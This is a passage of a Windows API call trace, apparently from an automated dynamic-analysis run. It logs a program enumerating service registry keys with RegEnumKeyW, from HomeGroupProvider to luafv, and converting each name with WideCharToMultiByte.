lpName="HomeGroupProvider") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0227.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0227.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0227.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0227.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0227.175] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0227.176] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0227.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0227.177] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0227.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0227.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0227.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0227.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0227.178] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0227.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0227.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0227.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0227.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0227.179] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0227.186] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0227.186] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0227.187] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0227.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0227.188] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0227.188] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, 